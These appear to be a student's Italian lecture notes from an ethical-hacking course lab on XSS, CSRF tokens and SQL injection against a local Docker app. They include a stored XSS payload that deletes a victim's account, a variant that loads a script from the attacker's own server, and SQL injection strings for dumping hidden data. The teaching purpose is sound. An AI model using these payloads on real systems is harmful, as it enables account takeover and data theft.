Prova di laboratorio: 15 gennaio pomeriggio probabilmente

**Continuiamo sugli attacchi client-side XSS**

APP TEMP -> si esegue in locale ad esempio su un ambiente docker

Come si può sfruttare nella vita reale un xss, potremmo sfruttarlo sui dati di un utente “vittima” per cancellare ad esempio l’account, se noi fossimo in possesso delle credenziali dell’utente poteremmo cancellare l’account, ma tutto ciò può essere fatto anche solo semplicemente con il cookie di sessione che però è spesso protetto (che sia un header “e.g. HttpOnly che disattiva la possibilità a javascript di accedere al cookie di sessione).

A volte non posso accedere al cookie di sessione, ma potremmo mandare un link all’utente che se lo clicca già da loggato mi invia i suoi dati.

L’ESAME IN LABORATORIO SI FARA’ SUL PROPRIO PC.

sudo docker compose build – come primo comando, dopo aver creato la pagina docker

sudo docker compose up – per avviarla

SULL’APPLICAZIONE

Non c’ è una form di login, come faccio a loggare?

Se metto i parametri nel link come ./login?username=Alice&password=segaa2mani non funziona perché non c’è la pagina di login.

Apro burp suite e faccio la richiesta di login e cambio la richiesta da GET a POST.

L’app vuole i parametri in json, infatti anche con Bsuite la GET funzionerebbe ma non prende le credenziali, spesso molte app vogliono json o xml.

Passando:

{“username”: “Alice”, “password”: “ciao”} -> posso anche loggare con un altro account

e di conseguenza bisognerà cambiare il “Content-type” dell’header in application/json.

Notiamo che viene generato un cookie che potremmo usare nel browser, andando sulla console del cookie: Storage>>nuovo cookie chiamato “connect.sid” e incollarci nel campo “value” il cookie di BSuite.

Posso notare che il nome dell’utente viene inserito nella pagina dell’utente il che rende il sito un ottimo candidato per attacchi XSS.

Ci sono tecniche di fuzzing che ci permettono di trovare questi cookie nascosti (tools di bruteforce: FFVF e molti altri, da trovare -> fanno bruteforce sui dizionari o fuzzing con stringhe a caso).

Normalmente l’header Cookie: connect.sid = cookie\_da\_inserire in burp suite manca, dobbiamo scriverlo noi. (tutto ciò sta avvenendo nel repeater)

Nel caso dell’app abbiamo usato /updateDetails per cambiare nome con un alert.

PayloadsAllTheThings best amico dello zio.

In /updateDetails usiamo:

{ “name”:”<svg/onload=\” var hr = new XMLHttpRequest(); hr.open(‘GET’, ‘/authService/user/delete?name=Alice’, true); hr.send(); \””

Visto che è richiesta una sessione, bisogna usare XML e una richiesta di javascript (non posso usare document.location perché è richiesta una sessione).

Posso usare questo URL: /authService/user/delete?name=Alice’ perché tanto sa che deve girare su quel contesto, non mi serve specificare la prima parte.

Ma il numero di caratteri del payload supera quello del vincolo, quindi:

1. Creo uno script javascript:  
   var.hr = new XMLHttpRequest();  
   hr.open(‘GET’, ‘/authService/user/delete?name=Alice’, true);  
   hr.send();
2. In etical hacking si usa creare il server in una cartella “www” in modo tale che nessuno possa accedere alle nostre cose.
3. python3- m http.server -> ospito il server nella cartella, solitamente si ospita sulla macchina attaccante
4. dopo aver salvato lo script, la richiesta di /updateDetails si riduce a:  
   { “name”:”<script src= ‘http://localhost:8000/p.js’></script>” } (al posto di localhost si può usarte anche l’indirizzo della macchina che sta ostando lo script esempio posso usare 192.168.86.130:8080 che è l’indirizzo del server, p.js è lo script che abbiamo salvato prima)

Guardare ArcTriks.

CSRF è un’altra misura di mitigazione per xss

Csrf serve a mitigare (difendere) il problema del 2 step di oggi, si lega ogni chiamata all’endpoint ad un cookie (un token piu precisamente) che protegge la chiamata, cambiando continuamente. Per fare una richiesta valida devi per forza conoscere il token. Puo essere passato come campo nascosto (non so cosa intenda);

l’applicazione che utilizziamo.

Ogni volta che viene fatto login viene generato un X-CRF token (nelle best practices).

Devo scoprire dove si trova sto XCRF-token.

swisskeyrepo -> repo di github con cose utili.

Potrebbe essere nascosto in un campo hidden, se è così ogni volta che la pagina viene caricata viene inserito il tag xml, e per prenderelo bisogna usare name=csrf e a value il nostro codice, fare la GET e poi passarlo al server ogni volta.

Su portSwigger c’è un laboratorio su XCRF-token. -> facciaml

**Injection**

Spesso nei server python based si usa sqllite che è built-in al posto di mysql o postgress.

SELECT \* FROM students WHERE name LIKE ‘’ or 1=1 -> mi restituisce tutti gli student perché 1=1 è sempre vera.

Nella barra di ricerca se inserisco ‘ mi da errore perché ci sarà un apice in più, se invece voglio eliminare questo errore basta scrivere ‘—così i due trattini comenteranno l’apice in più, posso mettere anche ‘ or 1=1—e restituirà comunque tutti.

**SQL-injection UNION BASED**

La troviamo sull’app che condivide su teams 11/12/24.

Facciamo un’unione tra il risultato della query e qualcosa che vogliamo noi, anche info riservate.

La parte fondamentale sta nel capire che simbolo è usato a chiusura della query per mettere nella barra di ricerca quello che vogliamo aggiungendo anche criteri di ricerca.

Per scoprire quante colonne abbiamo possiamo usare un ORDER BY n e incrementare n ogni volta finché non da errore.

Apriamo swisskeyrepo e cerchiamo SQL e troviamo i payload specifici per i db (anche arctriks).

LIMIT n in SQL limita il result set, tuttavia restituirà sempre il primo che trova, come facciamo a prenderci hidden\_note?

LIMIT 1 OFFSET 1 -> trovo hidden\_name tramite la query che mi restituisce tutte le colonne del db.

Quindi in questo caso con OFFSET riesco a scorrere le colonne del DB.